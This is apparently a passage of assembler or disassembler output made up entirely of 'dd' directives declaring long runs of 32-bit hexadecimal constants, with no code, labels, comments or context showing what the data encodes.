		dd 95A4B4FBh, 90027797h, 0C9E4DD61h, 0EA093AE5h, 56B9877Eh
		dd 0B0E8BEA4h, 33740111h, 0BC540E5Eh, 0F4098B84h, 0FCA3C239h
		dd 95F5AC7h, 0BF6020D1h, 0B0C12F2Bh, 764E91h, 0AECF8130h
		dd 32596D58h, 7BFF0084h, 0F989727Fh, 6095905Fh,	0CEFE5CDAh
		dd 82BDD6F6h, 0B06E814h, 72C0D02h, 0A4D063DFh, 0C04BE380h
		dd 0AF085EEDh, 5D78C70Bh, 0C61F20C4h, 195D5185h, 0D3BD4EBFh
		dd 0E9F52902h, 668AF20h, 360303B9h, 0F9874486h,	0D1062647h
		dd 0CF107D8h, 0E989216Ch, 25282856h, 0F333E859h, 351C24DEh
		dd 0A71E1D72h, 0F77357F6h, 0CBCC1384h, 0B0AC4059h, 98C0093Ch
		dd 71D0F604h, 0E9750C24h, 27EF0BB9h, 969E46EEh,	0A0F3D927h
		dd 9EB1B5EEh, 53172EDAh, 55B1C5E8h, 7B8A4251h, 880B5CF1h
		dd 14C7570Ah, 726EE905h, 0BB4B12E7h, 8C4EE688h,	0D625949Eh
		dd 33A24B90h, 0E67FBD3Fh, 0D2292530h, 1276BCF5h, 0E26FDD68h
		dd 6B892F7h, 0EE5E093h,	5368CC1Dh, 57AEEAF0h, 5851147Ah
		dd 0FF4C0635h, 0CAA81488h, 83CCE135h, 16D80005h, 0C3CA24BFh
		dd 6CC9956Dh, 81A23813h, 1875488h, 4A32493Eh, 0E72D2D24h
		dd 0E6F22DBBh, 0B4BAF08Fh, 5B580045h, 6603EEC0h, 3CA25BB2h
		dd 0D62D976h, 7EBA001Ch, 455A434Ch, 0C4EF1B25h,	0FA0C163Dh
		dd 0C22EA109h, 7501B2E3h, 0E4422254h, 43D95F8Ah, 0E98FAB0Ch
		dd 7F40C4D8h, 7E5C12C3h, 463B8FFFh, 0D5EDA476h,	3748A1F9h
		dd 0A43E2C00h, 0DBF7433Dh, 0DDE90BBDh, 0F8B83C48h, 0F0FE9027h
		dd 30C9386Eh, 0F59AFA4Bh, 618C3213h, 2B42CC7Dh,	0FC4F38B3h
		dd 0EE80807Eh, 0B7F5889Dh, 3A631711h, 0E16712h,	21E1DA47h
		dd 0D3207484h, 0E90DC2FBh, 0C57F7A37h, 0C5173E8Fh, 1ED656CBh
		dd 43063E77h, 0E41789Eh, 32095E09h, 9E7B7429h, 3C874BF7h
		dd 275027D6h, 24D89AA6h, 12FCC330h, 205D4795h, 145D0B63h
		dd 9FB22055h, 3BA8009Fh, 95160D45h, 4F0C56F0h, 0DA98FCE9h
		dd 11E09BDh, 56804B58h,	0F6E29BBh, 55565100h, 0B537A568h
		dd 1AE92411h, 0D2D0BDBFh, 0DC1E16C1h, 21110472h, 83D6FC67h
		dd 4028C19h, 0F30BD30Ch, 0E4D0BE90h, 5B76D5EBh,	0A26EC8C7h
		dd 3DEEE44Bh, 9533832h,	578C6FE9h, 0A30C00E7h, 90C00A52h
		dd 39D99E13h, 2C0876F6h, 128018EBh, 0B900613Bh,	0A2B100A7h
		dd 7BD972F6h, 0A4414CD1h, 0BB4FA190h, 0B2BAB774h, 896B8447h
		dd 2CD8071Ch, 375AC6BCh, 41C85B4Dh, 4C822A1h, 63B6E95Dh
		dd 0BB100EF3h, 6E6809A0h, 0E6694619h, 9F77760Eh, 143598C8h
		dd 1DD20182h, 8542AB3Bh, 0EC64F7C5h, 593FB54h, 0A0BA52B5h
		dd 241EA857h, 23775C6h,	778018Ch, 0FB604642h, 5D3E3089h
		dd 8026960Fh, 39DC3B8Dh, 904C585Fh, 599E2A7Fh, 0FB5B4F5Bh
		dd 32E9802Ch, 5F10CA93h, 7CC2195Eh, 3030912h, 0C903D04Bh
		dd 917306C6h, 0AB97D917h, 0F0B81681h, 2FEC4519h, 85BE0184h
		dd 2681EFA7h, 8748DFF7h, 0CAA75EE6h, 717D2CCBh,	3CF582BDh
		dd 5D86D3C8h, 0B8BE5FCh, 0A6A18431h, 0BA0613ABh, 4D4A57CCh
		dd 0C9482403h, 0D0075F01h, 965BB80Eh, 8BAB310Bh, 0C8407BD2h
		dd 68E224D1h, 6788260Fh, 538A9057h, 0E9195442h,	0C19FA1AAh
		dd 0B2F4D76Ah, 1CF4EA5Bh, 0D7C3298Ch, 1AAB09EBh, 7C847C7Eh
		dd 43A0002h, 25E92FBCh,	7349A59Bh, 87D2073h, 9FB4501Eh
		dd 0FEDCCC40h, 5B5FE9C4h, 0ECFBDD87h, 65C10CF4h, 835389C2h
		dd 0B4FD012Fh, 0F072D842h, 66050DCBh, 0F7E93E4Bh, 0AC6B0BF1h
		dd 3DEC1259h, 58D905A4h, 0EBD33D2Fh, 3E21D389h,	6E50E53Eh
		dd 0E9085D8Fh, 0BE3A1295h, 1183C9C7h, 24640FF0h, 12D8FF55h
		dd 0DD295E9Ch, 49496F90h, 9C88905Ah, 28E6BF4Ah,	76CD720h
		dd 434294B9h, 0C4F3A33Fh, 2A797319h, 0C24335Fh,	0B8501353h
		dd 66770B17h, 0F727A050h, 682057D0h, 7DF08935h,	0C698F274h
		dd 0D9128B4Eh, 0E613F2EEh, 0C7A3F099h, 2BCB8871h, 89760FD7h
		dd 0EC45A9EBh, 0E66816CCh, 4BD88A32h, 811D75EFh, 0ADE6D9BBh
		dd 3EA15D44h, 479D1DB5h, 5FC60F0h, 0F1B7FE78h, 20CEA85Bh
		dd 0FD97C56Ch, 7ECE570Fh, 2B2C8D7h, 6C4A29FAh, 680BCB12h
		dd 60126214h, 80E39D95h, 66C1435Bh, 0E5FC0D6Ch,	0E99FC43Eh
		dd 28F5C7Ch, 82E37933h,	3D7C7D29h, 12F82D60h, 21F29D1Eh
		dd 4800782h, 0E2F6609h,	0D5E58BBFh, 71973E16h, 9E68E2E0h
		dd 8EC2CA5Ch, 1FF1DD86h, 0BC966708h, 0FB458402h, 0E4DE5978h
		dd 46E95340h, 4229F20h,	9866398Fh, 0DE1760E6h, 0F2F0524Dh
		dd 0C9C25001h, 4A7F128Ah, 0AE555267h, 8085F8A2h, 0C13BF8CDh
		dd 1B2B3F3Dh, 7340F02Eh, 0D297FBBAh, 0F1A1E83Bh, 0E92CBB3Bh
		dd 0AF76975Ch, 972BE9D8h, 272314D7h, 5DD6DEC1h,	8D580165h
		dd 26A736D6h, 308F7F65h, 145C68A9h, 5F1BC80Fh, 9FD68647h
		dd 5B330F19h, 31446D39h, 6EA2FABCh, 9FAFECD3h, 87FC77D6h
		dd 4B9A784h, 4A84FB29h,	0CBC96EAh, 0C0C8529Dh, 5680CBF4h
		dd 839F225Bh, 2C41A8B9h, 2D53D839h, 0E1B67F78h,	5CFAE978h
		dd 9682F495h, 0B052F328h, 18BF5179h, 0C9137BC1h, 5084F05Bh
		dd 2EE199AAh, 0BBB4D6BDh
		dd 26E940CCh, 8299A150h, 4906E1C1h, 847E2541h, 22176815h
		dd 0F25057CCh, 0B1396214h, 23DDBDACh, 5EF0749Bh, 0D94EBA0Ch
		dd 0F7AEB22Ch, 4DA3D360h, 0A7E97D7Dh, 198C29CCh, 85815502h
		dd 6B5DF1A6h, 6DD7C2BBh, 2C270F70h, 10C555B4h, 308EB703h
		dd 285BC0F8h, 21584CC1h, 0A2493612h, 0D5511030h, 499DEC7Eh
		dd 0D4843C95h, 4BE00EFh, 0F47EE17Ah, 0AF285289h, 6084528Fh
		dd 0AF9DD49Dh, 6C81F831h, 8440353Bh, 934EE97Fh,	4A5873A2h
		dd 21BA825Fh, 8B40E57Fh, 0D904E3D1h, 92C54BB8h,	973C44BAh
		dd 15B4EDEh, 643A7690h,	74F1E94Eh, 6A0E2DDAh, 2B01F323h
		dd 8B708E8h, 549C893Eh,	500058B9h, 975B0705h, 2E26D1Bh
		dd 77C96AD6h, 2A2F49D0h, 80163884h, 66F601C6h, 2863B252h
		dd 22BC2ED3h, 607F12A5h, 8063B14Ch, 0DE2CEB25h,	59A5BA4Ch
		dd 2D109477h, 1E985285h, 888092DCh, 305813C5h, 84D4E8EAh
		dd 7EA4C3AAh, 0F32C5A9Eh, 3688345h, 9BFE8534h, 0B1D94E4Fh
		dd 68BF066Fh, 0BF05FED3h, 64E307B9h, 4BA12C3h, 2005EE15h
		dd 0D290AF71h, 761C5B61h, 1F01F268h, 13FC82Ch, 0D475FDEFh
		dd 46CC6E37h, 0C183245Ch, 61E97096h, 8698239Ah,	4C2FD778h
		dd 5AC71040h, 0D4BE0556h, 0AF3A2C34h, 830C2A04h, 7E68A81h
		dd 2D43CEE4h, 0DEDE1F16h, 2544AC07h, 8EB9DE09h,	923E82C6h
		dd 3C47A86Dh, 7DA3CB39h, 0C2DF484Bh, 97F16EA5h,	1C087359h
		dd 6881683h, 0B7A419C2h, 8CFE32F4h, 0CE8000EBh,	2D70B042h
		dd 0C674115Ah, 9DBF2150h, 31BE14D5h, 0C44161DFh, 1740E0A0h
		dd 250DE6BFh, 0DD59C811h, 0C285D6CBh, 6145E12Ah, 0BD0BAA2Ch
		dd 0AE447F82h, 113D7C24h, 0C2E2FC6Bh, 4E482EB9h, 0D997623Eh
		dd 0AF09CB6Bh, 365F0789h, 6DA54989h, 0FC7BA17h,	3D491B45h
		dd 0CABB4D21h, 8128CC1Dh, 2887F33Bh, 0EB50DB49h, 2960D393h
		dd 0C781F769h, 20501F0Dh, 0E2E64B67h, 305FF748h, 2D564402h
		dd 60FE3A8Fh, 946638ECh, 1F098315h, 85D91963h, 0CDC992D3h
		dd 44C434F2h, 0B05002D7h, 9F9E12Eh, 542EC22Ah, 71AD9FD1h
		dd 0AB51C45Bh, 2F5F67Dh, 4E847E23h, 5C01C40h, 6FAF3F12h
		dd 2CB7020Dh, 0B8E97C7Eh, 1CBD9CC8h, 24D55313h,	7607D6E2h
		dd 602B0A20h, 7B71ABE1h, 0F104697Ch, 1FF264Dh, 0CC04C3BBh
		dd 42D3DB50h, 552E0D17h, 0C58AF95Fh, 7025A69Ch,	0DE3609FBh
		dd 67FC8CC8h, 745D693h,	15A1E3C1h, 161C98C4h, 4DE01FCh
		dd 13C6BCC6h, 2E2F99BEh, 0AB5A3AE8h, 5ABA3828h,	0BB1734B9h
		dd 0DCCE4949h, 9AD62732h, 5F51E9CFh, 7F21C198h,	59C77F8Ah
		dd 54CCEE90h, 6A26E999h, 0F092D345h, 0B5B607BBh, 93D3E744h
		dd 0E9A02CE8h, 6E97BBF2h, 0B0DA8C37h, 6762EB1Ah, 0F29C9950h
		dd 0EE267D60h, 8AFE978Bh, 0CE23F973h, 10E2A63Fh, 0D2409211h
		dd 40149D59h, 1B84E995h, 2568DB24h, 579A208Bh, 23277972h
		dd 31BE52A9h, 0F72EA477h, 704A8D9h, 280EF83Ch, 1C4CE012h
		dd 13216B2h, 88D10BFh, 0EE95904h, 0B28CD4B6h, 0D7BA123Bh
		dd 5CB499BFh, 5B5FB79Ch, 2A7B75B7h, 3D84B9Ah, 11A03E80h
		dd 0C1B95658h, 0F0625745h, 2B79425Ch, 0D258E918h, 4AB81Ah
		dd 401C045Bh, 5DA0BD55h, 81737A07h, 0AF07CDF5h,	36B52DF0h
		dd 552748ADh, 17070528h, 436D26E9h, 483445AAh, 6797F085h
		dd 6FE18170h, 7F1C09A7h, 940ED40Fh, 0A06BDA13h,	0AD0FE9C5h
		dd 80267519h, 70203BC9h, 0CAB0A111h, 4AB476EEh,	52963Fh
		dd 771FEB50h, 0D5B8E92Fh, 2E55CEB5h, 71D789h, 552307EAh
		dd 0FA0A014Dh, 996FD9E9h, 967FEE8Dh, 7920F8C1h,	661D4033h
		dd 0D1370EC4h, 535E5CA4h, 1E65A23Ch, 73FE8CDh, 0F4EA805Bh
		dd 0E168C232h, 443BA424h, 49133F20h, 2613D92Ch,	1A72EF9h
		dd 716DD0BBh, 28C16A0Bh, 404AEE3h, 2097259Fh, 7B338E9Eh
		dd 0B1F34B0Eh, 0FBA87EAEh, 40D7C8C9h, 92AD41C2h, 7904F4B9h
		dd 0DFED73D0h, 630DC9A9h, 95658FFBh, 0AA3EEAE1h, 0CC500B2Ah
		dd 0BB60828Eh, 0A99FC5F0h, 3E85573Bh, 0B1D2FE18h, 4E097D85h
		dd 0C7D589A3h, 0DCDE8528h, 0C56BA641h, 0A5C8BF9Ah, 0DD755A0Eh
		dd 0D55A6008h, 2C436082h, 0D42225A0h, 722731FCh, 2021090Bh
		dd 68584785h, 6CC0782h,	2CBD6817h, 0CE2E358Dh, 42512C26h
		dd 38E98BECh, 0FC5B0B2Dh, 9F45B688h, 2909BED9h,	0F87AF5FAh
		dd 34E5D48h, 1AEA0D25h,	5ADED881h, 0F36576C5h, 5EE05FD4h
		dd 0A9B39180h, 0FA412A3Fh, 179722AFh, 0D7F29CEDh, 25122131h
		dd 36AD2E31h, 4E857685h, 0E4EBCEACh, 581709D0h,	0DF00EDC1h
		dd 7D24C4F5h, 65DFA001h, 64289978h, 5A97E0D2h, 13EF293Ch
		dd 0D5285486h, 62670A05h, 0A0E11D27h, 685E0B07h, 0E9C53707h
		dd 0ABA8B793h, 0AB2C8716h, 48A1859Ch, 0B5807171h, 2D0A302Eh
		dd 47570C00h, 92FA351Dh, 0F1C74A12h, 0E7812BC6h, 68316FBDh
		dd 280151F5h, 0CCC748E3h, 25EFCE4Fh, 0A284BA66h, 7AF639FAh
		dd 149C8F9h, 0AD7F7E2Fh, 0BD2E26F5h, 28AB92BBh,	4669E930h
		dd 0BDFD875Fh, 0D94F3563h, 0DD3F8E5Bh, 0ED207E4Ch, 1CBB5DEEh
		dd 873F284Eh, 87535243h, 6B8C30B5h, 4D4D3F7h, 7B7D0220h
		dd 0C0313964h, 9AF6A49Eh, 0F9595A36h, 4C8A8776h, 0DD880272h
		dd 74943952h, 0A1AB6D0Ch, 0A58F06EAh, 4E09DC4Eh, 1BC06CF0h
		dd 760882C1h, 9D29872h,	0A21422C4h, 0C2871B7Ch,	70945A10h
		dd 84121F9h, 975EC930h,	0ED3C1A0h, 8102713Dh, 0A21CACE7h
		dd 80DB600Ch, 47112D54h, 6940675Eh, 12030E30h, 9493FEE9h
		dd 0B88F19F0h, 88A77B3Ch, 0E1B7C14Ah, 0F709D839h, 0C94B7190h
		dd 0CEDA291h, 10808A3Eh, 30129447h, 156FB4FDh, 0F1F30A60h
		dd 9FED67D2h, 9EEA1F09h, 56559FA5h, 0E57025B3h,	0CDE83EA9h
		dd 0D6915FACh, 7582F53Ch, 3B1AB380h, 0E3A2436Eh, 32D3265Dh
		dd 0ED7C750Eh, 206B8E2Ah, 4AFBB983h, 0CDE60B6Ch, 919E9875h
		dd 0CFE59E80h, 0EC81C044h, 89F6C5EFh, 0F86AF4FEh, 57549440h
		dd 8C109F5Fh, 0EC88175Eh, 28D3CCE4h, 9F6F585Ah,	3C01C9C9h
		dd 0E2B64B52h, 0A435FB5Bh, 0BA4B8BBDh, 948F6398h, 58C22061h
		dd 5005957Bh, 0AC678268h, 59DBC0A4h, 5D293D8Fh,	0F6C092D6h
		dd 11107B77h, 7609CEECh, 4ED40Bh, 31B68A6h, 20BB045h, 137D1C34h
		dd 0FCD0D7E9h, 0FCBFBBFh, 0CFE5F501h, 68A0437Eh, 0BB853DF1h
		dd 612F3DDDh, 7A18E99Bh, 5EBB091h, 903BC8E1h, 0D95DC7A5h
		dd 0F735627h, 0F06AC9D0h, 1E057A9Dh, 8B1BDF4Ch,	0F4A8345h
		dd 0F791A1F5h, 6BD48D0h, 0AEECF513h, 0E0817F74h, 0B80185ACh
		dd 34464101h, 9E4107C2h, 7A7104h, 0ECC98040h, 9205B050h
		dd 0BFE9C0FEh, 5B29D2A8h, 565413E5h, 68739111h,	0BF84CB1Ch
		dd 0F9A5BBFCh, 3E4600B9h, 0BE93BDDh, 0CB5E97C2h, 8731E569h
		dd 0B1242E9h, 1158C5DDh, 0CA6A5002h, 75BC429Fh,	0C8A6F05Bh
		dd 0BC497846h, 0E08C5E5Bh, 0CD355E5Fh, 2A4C1400h, 4814BE0h
		dd 125B1AE3h, 20C5B101h, 7E16F0BFh, 0DF017AC9h,	6E137F2Dh
		dd 9F06EAFCh, 0ABD398E8h, 0C0678728h, 79FBC54Ah, 7EF2CF1h
		dd 8BE100Dh, 0E500DD84h, 71A67034h, 1570E973h, 1F325D95h
		dd 0AD7F49DDh, 406AFF41h, 3BC98C7Bh, 0BC5BC44h,	0C366EC86h
		dd 0EC2F46DCh, 0E8B34B93h, 68BC5B5Eh, 91B59612h, 21B7C3Eh
		dd 9F4C6B9h, 20881E85h,	0AA6870C0h, 0EFD15582h,	9595F84Bh
		dd 807E9C57h, 80F8D3EBh, 0E0EDB450h, 28C3B1C6h,	2C8BF921h
		dd 0A6BE32E5h
		dd 5668C3AFh, 0C9E95517h, 0C7806A40h, 7EF8282Dh, 3A23755Bh
		dd 0F6762CD0h, 0B65A4B66h, 0E0E9080Dh, 0CFBE0385h, 0BFE46512h
		dd 0F252EACh, 0BCBDA9E1h, 5871A75Ah, 515701CAh,	3B056668h
		dd 580F7E7Ch, 15D9E1Ch,	3EB8E980h, 0EC4121A5h, 446C4A64h
		dd 0BF79BFB7h, 0E89EFFBDh, 0E60CA8EBh, 806B3903h, 0C7EED117h
		dd 0EACF4FDAh, 0BEE4EFC9h, 0F1F73527h, 4131938Dh, 696897B5h
		dd 0A959894Ah, 0A81976BEh, 0F9165A0Bh, 5E1C2770h, 626A70D2h
		dd 0EC2B842Fh, 13907959h, 172177CEh, 7EC06218h,	0B800A3D0h
		dd 31165D3Bh, 3F156FBBh, 12A5544Ah, 0BC598061h,	88199837h
		dd 75BDA73h, 227632Dh, 58CE5029h, 895676Ch, 0C1280790h
		dd 0D8E81283h, 349251E9h, 0ED375C4Bh, 0C7737DF9h, 602A6C2Ch
		dd 68780E9Eh, 0CC3F4A3Ah, 899D09A9h, 65B70268h,	0A551FDF1h
		dd 0D90B7B21h, 0AFAEF3ABh, 0C196A87Eh, 0B9EF20C4h, 79FFD6B8h
		dd 59C93A8Eh, 5FCB0F5Ch, 0E81641CEh, 82A850D0h,	0F027390Ch
		dd 0AAA85F41h, 0FDC2F08h, 177AFE6Bh, 0F652FBDBh, 0C99F24A2h
		dd 9E769D83h, 4826B184h, 3992A2A0h, 0F71CD74Ah,	4EDE82D6h
		dd 54D093E9h, 9FE9BE5Fh, 48DB44Ah, 0C991655Bh, 0A07FFD87h
		dd 0AB3069B1h, 0E58B0C2Ch, 212F1780h, 3F61AEE8h, 0E93B7C71h
		dd 0FFC6CB12h, 6B0CDDACh, 3129321Ch, 0E210FE93h, 0AE91708h
		dd 0C05D0682h, 30170DF0h, 3B241F4Dh, 7AEDDD37h,	878E18E3h
		dd 9233F9B7h, 0B716108h, 99C6295Eh, 6BD8E59Fh, 0B0F5270Bh
		dd 975425EFh, 0EEC015C6h, 621B0A47h, 6168125Eh,	26DDB37Ch
		dd 0C6450396h, 1AEAD5FFh, 0A20CE149h, 515AE39Ah, 5A8EE9B8h
		dd 0FF93F9C4h, 0CE27C27h, 7A904ACCh, 2F5690EDh,	529465C4h
		dd 5F57FEC9h, 0CC8DC4D1h, 9CD94175h, 275A1934h,	22D4C9FEh
		dd 0B38AC103h, 8BE3A887h, 86C449E9h, 0F707593Fh, 0BFC7FEA0h
		dd 3A7A91C9h, 0B7B1B402h, 71E73008h, 0CFFE43ABh, 8503A1Dh
		dd 0CBB7E985h, 4FC41BEh, 781B381Dh, 2CADA415h, 0FF230534h
		dd 52CDE5A1h, 0C21AB83Fh, 7D5A0203h, 4B20B496h,	0AD70B585h
		dd 0DDF6F1AAh, 0B67E9779h, 3DE200F9h, 6853419Eh, 8D3005E4h
		dd 54D0E918h, 7704C2CCh, 0EB33EB65h, 0DC02E5Ch,	0E9572B3Dh
		dd 35B24914h, 0FBC5512Dh, 0A7113681h, 2E964539h, 58EE4992h
		dd 0F6D2525Dh, 0B2795B3Dh, 0D752A7D9h, 0C0FD9640h, 542068E6h
		dd 7CB64AA0h, 47EDF153h, 0F485023h, 9561EA0Eh, 0EF7FE94Eh
		dd 64EF225Ch, 41EF9D1Eh, 142F47B1h, 9CE0831h, 3664726Ch
		dd 1A037000h, 0DCBD3933h, 2E798026h, 73E94BACh,	9698AE58h
		dd 0B897C0EAh, 0A53D646Fh, 911C1337h, 0FB5C74FBh, 0B106FA6h
		dd 0C9810076h, 23FD79DAh, 0F292A049h, 2889202Fh, 9D1F7603h
		dd 0BBCD09DDh, 0F9FC5E02h, 30E09321h, 6699005Eh, 0F3EF781h
		dd 50951F32h, 0E84F7AEAh, 1B05189Fh, 2FA00CE6h,	730EC73Eh
		dd 0EEDEA205h, 0A3AB01F3h, 271F13D9h, 5484C4D4h, 596CD0EFh
		dd 4C4A5468h, 4A4F1FCCh, 5CAA3071h, 42697E2Ch, 1057DC80h
		dd 835A0C78h, 0CF6F0EEh, 5DF9734Bh, 4702990Ch, 0A1E964DFh
		dd 1C36F7B3h, 7F54522Dh, 0BC9A4FBAh, 0E942685Bh, 2F447E41h
		dd 80F83542h, 87112AEDh, 89F84808h, 0C042C2C8h,	82E04010h
		dd 62065655h, 6F686B33h, 521DC635h, 5C41305Dh, 314065B9h
		dd 0B56B43Bh, 72470414h, 3D032C87h, 78400F28h, 0ADE63C80h
		dd 91A4D317h, 0C3A007CBh, 10969B84h, 5809631Fh,	50D4DCF6h
		dd 0C35FF1Ch, 7AEB4806h, 505F62B0h, 0D9DFEFACh,	36E95029h
		dd 2F129E5Dh, 1015FCDEh, 27583F82h, 592400F0h, 9866D6F6h
		dd 28941D98h, 45887E6h,	0A9F0AB5Bh, 0A9A7CE1h, 6B3F2DE9h
		dd 1F9C8908h, 0CDD8095Dh, 0FD27E4DDh, 0EA4C137Fh, 0FD4CE3CAh
		dd 0E098A020h, 168B7720h, 0BF286B68h, 802B7B30h, 0B8B067F2h
		dd 0FA517B78h, 3B378EBEh, 3DACD663h, 0BA3D1513h, 0D6291C02h
		dd 2FF3DD5Ah, 6A61E942h, 0DA60D631h, 2D2036F5h,	4B71AE59h
		dd 0CB1BD43h, 99868D6h,	0A0955F15h, 1BBC6C6h, 5024E08h
		dd 0D59099E9h, 2C5E87Fh, 8947CE11h, 7BA887EEh, 222F491Ah
		dd 40D5F758h, 281C9594h, 75846F41h, 67852442h, 7C9C022Dh
		dd 70714A9h, 8040C6C2h,	3EE17290h, 0CD291F01h, 0A0199659h
		dd 4A0AB92Ah, 9D7B8F61h, 25F4EC2Dh, 0A75EE2D4h,	0B518EC60h
		dd 47F8B745h, 0DD27E913h, 0EE29CB4h, 79883C06h,	5E6FF2C0h
		dd 90539F6h, 0A213E9D6h, 0C986F4h, 0F771A40Bh, 1EA83DAh
		dd 3FCA8103h, 372F034h,	317D7F3Ch, 0BCE58764h, 0FC907443h
		dd 9AA24562h, 2CB65101h, 3C180B7Dh, 1E50EF56h, 0EF9CD775h
		dd 805B152Eh, 98137A3Ch, 10491D48h, 0BE2A6A05h,	77EF051Dh
		dd 13B9328h, 856EAAD7h,	7AD68264h, 83066D7Eh, 0EB7B1684h
		dd 0DDEAB032h, 135B276Ah, 0D23544D5h, 0FE3F046Ah, 775C0BA5h
		dd 0FD8247ECh, 959104D0h, 9E805C69h, 0C2A0A068h, 53811396h
		dd 5EF07F41h, 7A02BF91h, 0A83E85Bh, 0B4207755h,	0CBA40EAh
		dd 3150C76Dh, 0A1032EB4h, 62E9EE0Eh, 0AD3C27B7h, 0D701B196h
		dd 0E96B880Ch, 287FF4CFh, 1701EAADh, 6821104Ch,	37287282h
		dd 95BBACC4h, 0A46C273Fh, 0BA12A008h, 98731C1Dh, 0E56E19FDh
		dd 0F46F291Eh, 707FD0A8h, 0C5A0974Ah, 1B140C3h,	0FEA9F34Fh
		dd 444FF1C1h, 0AEA94512h, 0C3029BF6h, 53D81847h, 7679E580h
		dd 0F0BF6740h, 40FFE78Ah, 0A2500B22h, 54180BF1h, 0A03E1292h
		dd 0F47288D4h, 45FBE15Fh, 0BCE634D3h, 9EB897D7h, 0A4961212h
		dd 7041BDDCh, 166EF430h, 0BE48A547h, 0E793F71Fh, 7259A04Ch
		dd 101D124Fh, 7C8A014Bh, 6B69D7E5h, 0E8CCAEA1h,	471A25E9h
		dd 87557AA9h, 9B30812Ah, 1C7A8429h, 2FB225E9h, 0BAF0B0FFh
		dd 0D3530288h, 75236855h, 2C852B51h, 83C19974h,	0B3004CB5h
		dd 297284Ah, 96713F3h, 2071D470h, 762D181Eh, 0D5776BCBh
		dd 93087BA8h, 0EE2771C8h, 2AAC7EDFh, 65751BDAh,	0C0FFA5E5h
		dd 83716661h, 16A97407h, 0EB614DE1h, 0D5F15B59h, 6351063Fh
		dd 0E2389B73h, 0B1C7AE47h, 4876CA03h, 0F262007Eh, 247F4D74h
		dd 309FD589h, 9F0CE933h, 52026A7Ah, 383C5C68h, 61D17512h
		dd 835B4660h, 0F86CC12Eh, 826D9E59h, 4C4F0C18h,	73A14062h
		dd 16902D0Dh, 0B7C990FFh, 39F2A07Fh, 6189724h, 1E0BBBC7h
		dd 0B57B3B4h, 8EA85469h, 0ECE603E4h, 75C063Eh, 2B0A6409h
		dd 0ECB33884h, 5892BE4Ah, 456ED96Eh, 0A763753h,	0C888410Fh
		dd 0D5C1CD51h, 0AEB6FCCBh, 92E7D180h, 0B5EBF2Ah, 0E0586700h
		dd 0BF931BDh, 547B685Fh, 1A61A756h, 7E381D2Ch, 49FD4F05h
		dd 2D4280F7h, 15139507h, 0BE10F101h, 0D9277D08h, 4E6EF2BCh
		dd 0BD7EF4ABh, 1D10CE01h, 5BDD317Ch, 0A17A7861h, 0EFD2CE2h
		dd 7FD96B71h, 956C58EFh, 0F96D9E7Dh, 9F84337Ch,	79520992h
		dd 0EF950999h, 647D715Dh, 5026D35Ch, 3813A20h, 8032B551h
		dd 868428EDh, 10271E41h, 22997DFFh, 0EA553489h,	8831D602h
		dd 42FA010Eh, 408090Bh,	74BE927Fh, 2E97ABB3h, 70EAAF64h
		dd 44AE68DBh, 3E60EF9Ch, 5A436311h, 0A196675Eh,	200CD344h
		dd 10B5023Dh, 9FCC54E2h, 0AF424D5Eh, 31C86C35h,	920E7E6h
		dd 922871C2h, 53FE580Fh, 0EB5165D8h, 0AD782931h, 0B4C7AC3Ah
		dd 0BBE3788h, 423B795Fh, 84C349C9h, 0D383E913h,	0BFD88CC8h
		dd 0C1288304h, 2B6FC6Eh, 746A604Fh, 4AD82532h, 8701EF52h
		dd 0E9B5BFCDh, 446A89D1h
		dd 0AC0556F9h, 5BECA5EFh, 9ACABB4Ah, 4B6F3810h,	0F852BECCh
		dd 0B97740C6h, 9144D613h, 40F1C10Fh, 49183150h,	4A0125E9h
		dd 16C147A0h, 20F6210Dh, 0DD560B9Fh, 2C320A90h,	7DC7914Bh
		dd 0A7860449h, 0D15B19A7h, 96C0E394h, 2CA2F513h, 10C580C7h
		dd 3059EE88h, 0C505F14Ah, 4512B4A4h, 974E54EBh,	5A1A804Fh
		dd 28B8B450h, 0ECD96532h, 59A8484Dh, 0D45D82C0h, 56938352h
		dd 34F717A9h, 6AB3A571h, 0DCAE14h, 57D6778Ah, 0F259CD09h
		dd 71F901F5h, 0DDE9E4C9h, 0D2B23B78h, 0B7A6ABD2h, 0C3CB0D31h
		dd 0AFD6E044h, 0D5B59297h, 0BEC03AEAh, 55BE8D12h, 0A7CADEAFh
		dd 0A220A116h, 34FF1141h, 0E6FAE487h, 0A6F45EB8h, 17AD252Fh
		dd 41B40368h, 0E948430Bh, 71F70E5h, 0E4577D2Dh,	92C1A4B9h
		dd 857C4BA2h, 7464CB82h, 0F388801Dh, 5BFE664Fh,	1E1A02Dh
		dd 0BAF50BDh, 70E3132Bh, 0D24F3156h, 0E9937CABh, 5D19EC5Eh
		dd 3C6F021Ah, 46B828C0h, 3FD81755h, 7AB298E9h, 0F50E0975h
		dd 7AE9EAF9h, 0A96817C1h, 800C3527h, 1F6A9215h,	0AAA6375Bh
		dd 1996F518h, 48E2E989h, 4A6E2E5Dh, 5BFAD698h, 485BB7D1h
		dd 3C05AFAh, 0B5447868h, 7EBD3966h, 274AF362h, 20B4B1E8h
		dd 0E74168E5h, 9EA44F4Fh, 79303D6Fh, 0E47B0851h, 11D301A7h
		dd 906717A9h, 0F18A6340h, 4C019D3Ch, 759AD9BDh,	93604165h
		dd 96DB97FCh, 0F1DE6889h, 7B32B06Fh, 224C1047h,	13F83B66h
		dd 64022BC0h, 407058CBh, 0E8F4C725h, 18106028h,	0FBE08E31h
		dd 0D57D429Fh, 0E4FD3872h, 341F8310h, 9E52E9A2h, 507301D2h
		dd 0B58A80C1h, 0D3D8B79Bh, 5A4FD0E4h, 0C2C0A329h, 312C2458h
		dd 0AA6E8821h, 52C1FE00h, 5CC037B2h, 0DA303AEAh, 41F28004h
		dd 4F5AE912h, 0E4E748E8h, 4034A85Bh, 3691E59Fh,	4BABC316h
		dd 0B4875DDEh, 71D509BCh, 0BE1564C0h, 44FD2D17h, 9BC0EC8h
		dd 0CA851CE9h, 40EDC15Ah, 9673170h, 9E6352Dh, 0C55F0109h
		dd 0BD76CCAAh, 9F435101h, 45EDD175h, 0E25A9887h, 0BA5260D4h
		dd 22242148h, 13029A43h, 0E034677Ch, 14C920F6h,	0B00144C0h
		dd 4DEFC4Bh, 4A7A6C15h,	85690B83h, 5881DCBEh, 1E12DA9Eh
		dd 0A72367AAh, 30D7397Fh, 4869468Eh, 0C63B5F0Bh, 0B0F49689h
		dd 4F33B4F5h, 0F32DBB57h, 0E13FC67h, 6FCBEEE4h,	7099F2D3h
		dd 0B39F9863h, 56EFC283h, 0EE2809C5h, 2C38E346h, 0AFD350C6h
		dd 0FB376D4Fh, 64192F97h, 0B2BAF045h, 0AC681305h, 7074BA46h
